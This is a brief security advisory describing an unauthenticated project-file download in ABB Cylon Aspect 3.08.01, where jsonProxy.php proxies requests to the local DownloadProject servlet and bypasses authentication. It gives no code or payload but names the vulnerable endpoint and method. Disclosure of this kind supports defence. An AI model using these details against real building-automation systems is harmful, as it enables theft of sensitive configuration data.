ABB Cylon Aspect 3.08.01 jsonProxy.php Unauthenticated Project Download
ABB Cylon Aspect version 3.08.01 is vulnerable to an unauthorized project file disclosure in jsonProxy.php. An unauthenticated remote attacker can issue a GET request abusing the DownloadProject servlet to download sensitive project files. The jsonProxy.php script bypasses authentication by proxying requests to localhost (AspectFT Automation Application Server), granting remote attackers unauthorized access to internal Java servlets. This exposes potentially sensitive project data and configuration details without requiring authentication.
